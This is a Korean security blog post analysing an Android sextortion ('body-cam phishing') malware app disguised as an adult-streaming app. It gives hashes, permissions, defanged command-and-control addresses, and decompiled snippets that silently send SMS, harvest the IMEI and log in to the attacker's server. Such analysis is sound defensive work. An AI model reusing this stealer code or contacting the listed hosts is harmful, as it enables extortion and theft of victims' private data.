꿈을꾸는 파랑새

반응형

오늘은 몸캠 피싱 악성코드 중 하나인 19 성인방송(2021.01.18)을 분석을 하는 시간을 가져 보겠습니다. 일단 해당 악성코드는 AhnLab-V3:Trojan/Android.SMSstealer.1003720, BitDefenderFalx:Android.Monitor.Agent.ED 등의 진단명으로 탐지를 하고 있으면 해쉬값은 다음과 같습니다.
MD5:3c97435a5bbe360cd4dda6120fc2a5c5
SHA-1:cbdcb6b1467d365288f3b06c7a435abc895f51f2
SHA-256:d9488abce68851b4045bea1d4db4d0c61ab0b7e41f83bf1a801cccf2cb889d47
앱 이름과 패키지 이름은 다음과 같습니다.
app_name:19 성인방송
package_name:com.statistics.info
해당 악성코드 권한은 다음과 같습니다.
android.permission.CAMERA
android.permission.READ_SMS
android.permission.INTERNET
android.permission.CALL_PHONE
android.permission.BLUETOOTH
android.permission.WAKE_LOCK
android.permission.RECORD_AUDIO
android.permission.READ_CALL_LOG
android.permission.WRITE_CALL_LOG

안드로이드 악성코드 권한

android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.BLUETOOTH_ADMIN
android.permission.READ_PHONE_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.FOREGROUND_SERVICE
android.permission.SYSTEM_ALERT_WINDOW
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_FINE_LOCATION
android.permission.SYSTEM_OVERLAY_WINDOW
android.permission.MODIFY_AUDIO_SETTINGS
android.permission.READ_EXTERNAL_STORAGE
android.permission.ACCESS_COARSE_LOCATION
android.permission.WRITE_EXTERNAL_STORAGE>
android.permission.REQUEST_INSTALL_PACKAGES>
android.permission.ACCESS_BACKGROUND_LOCATION
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

com.statistics.info.p017e.C0887a0

android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.ANSWER_PHONE_CALLS
android.permission.PROCESS_OUTGOING_CALLS
android.permission.RECEIVE_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.READ_PHONE_NUMBERS
android.permission.PACKAGE_USAGE_STATS
android.permission.BIND_ACCESSIBILITY_SERVICE
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.SEND_SMS
입니다. 사실상 스마트폰에 있는 권한을 다 가져가는 것을 볼 수가 있고 통제를 할수가 있는 권한도 엄청 있는것을 볼수가 있습니다.
main_activity는 com.statistics.info.OnePixelActivity
이고 receivers 쪽 역할은 다음과 같습니다.
com.statistics.info.receivers.MmsReceiver
com.statistics.info.receivers.SmsReceiver
com.statistics.info.receivers.a
com.statistics.info.receivers.b
그리고 com.statistics.info.p017e.C0887a0 영역에서 SMS 즉 문자에 접근을 해서 문자를 보내는 것을 볼 수가 있습니다.

스마트폰 IMEI 정보 수집

public static boolean m1608e(String phoneNumber, String message, Context context) {
String str = message;
Context context2 = context;
if (TextUtils.isEmpty(phoneNumber)) {
String str2 = phoneNumber;
} else if (TextUtils.isEmpty(message)) {
String str3 = phoneNumber;
} else {
C0944v.m1766a("send sms phoneNumber:" + phoneNumber);
C0944v.m1766a("send sms message:" + str);
SmsManager sms = SmsManager.getDefault();
Intent sentIntent = new Intent("SENT_SMS_ACTION");
PendingIntent sentPI = PendingIntent.getBroadcast(context2, 0, sentIntent, 0);
Intent deliverIntent = new Intent("DELIVERED_SMS_ACTION");
PendingIntent deliverPI = PendingIntent.getBroadcast(context2, 0, deliverIntent, 0);
if (message.length() > 70) {
Iterator it = sms.divideMessage(str).iterator();
while (it.hasNext()) {
sms.sendTextMessage(phoneNumber, (String) null, it.next(), sentPI, deliverPI);
}
Intent intent = deliverIntent;
Intent intent2 = sentIntent;
return true;
}
Intent intent3 = deliverIntent;
Intent intent4 = sentIntent;
sms.sendTextMessage(phoneNumber, (String) null, message, sentPI, deliverPI);
return true;
}
return false;
}

Bytecode-Viewer 로 본 악성코드 주소

그리고 com.statistics.info.p017e.C0929p 부분 등에서는 스마트폰의 IMEI 정보를 가져가는 코드들도 존재를 하고 있습니다.
@SuppressLint({"MissingPermission"})
/* renamed from: b */
private static String m1713b() {
String imei = BuildConfig.VERSION_NAME;
try {
TelephonyManager tm = (TelephonyManager) BaseApplication.m1494a().getSystemService("phone");
if (Build.VERSION.SDK_INT >= 26) {
imei = tm.getImei();
}
if (TextUtils.isEmpty(imei)) {
return tm.getDeviceId();
}
return imei;
} catch (Exception e) {
C0944v.m1767b(e);
return imei;
}
}

com.statistics.info.services.MainService

그리고 당연히 해당 악성코드에서는 주소가 존재를 하고 있습니다.
K-.Ki(.)Ki/K-.
hxxp://restapi(.)amap.com/v3/place/text?",
hxxp://175(.)118.126.116:8005
hxxp://localhost
hxxp://lbs.amap(.)co?/api/android-location-sdk/guide/utilities/errorcode
hxxp://sktone(.)kro.kr
hxxp://aps(.)testing.amap.com/collection/collectData?src=baseCol&ver=v74&",
vnd(.)android.cursor.item/phone_v2
vnd(.)android.cursor.item/name
hxxp://restapi(.)amap.com
hxxp://restapi(.)amap.com/v3/iasdkauth
hxxp://dualstack(.)apilocate.amap.com/mobile/binary
hxxp://lame(.)sf.net
hxxp://apilocate(.)amap.com/mobile/binary
hxxp://dualstack-restapi(.)amap.com/v3/geocode/regeo
hxxps://restapi(.)amap.com/v3/iasdkauth
hxxp://restapi(.)amap.com/v3/config/district?
hxxp://abroad(.)apilocate.amap.com/mobile/binary
cgicol(.)amap.com/collection/collectData?src=baseCol&ver=v74&
hxxp://restapi(.)amap.com/v3/place/around?
hxxp://175(.)126.146.156
hxxp://restapi(.)amap.com/v3/geocode/regeo
hxxp://schemas(.)android.com/apk/res/android
com.statistics.info.services.MainService 부분에서는 악성코드가 서버에 접속을 하고 볼 수가 있게 ID,비밀번호가 들어가져 있는것을 볼수가 있습니다.
private void d(String paramString1, String paramString2) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("deviceId ");
stringBuilder.append(paramString2);
v.a(stringBuilder.toString());
JsonArray jsonArray = new JsonArray();
JsonObject jsonObject = new JsonObject();
jsonObject.addProperty("email", "???????");
jsonObject.addProperty("password", "???");
jsonArray.add((JsonElement)jsonObject);
RequestBody requestBody = com.statistics.info.net.d.b(jsonArray);
com.statistics.info.net.d.d(((com.statistics.info.b.d)com.statistics.info.net.d.a(com.statistics.info.b.d.class)).a(requestBody), (h)new c(this, paramString1));
}
일단 이런 악성코드에 감염이 되는 것을 최소화하기 위해서 반드시 유명한 백신앱을 설치를 하고 실시간 감시를 돌리는 것이 안전하게 해당 스마트폰을 사용을 하는 방법일 것입니다.

반응형

공유하기

facebook twitter kakaoTalk kakaostory naver band

댓글

비밀글모드

  1. 성인물 안 본지 20년되어 갑니다.ㅎㅎ
    2021.02.01 07:12 신고
    • 저는 순수해서 잘 모르겠습니다.^^
      2021.02.02 19:41 신고
  2. 성인물은 특히
    악성코드가 많은 것 같아요
    잘 보고 갑니다.. ^^
    2021.02.01 08:07 신고
    • 사람들이 기본 욕구 이다 보니 이런것을 노리고 악성코드 를 많이 제작 하는것 같습니다.
      2021.02.02 19:41 신고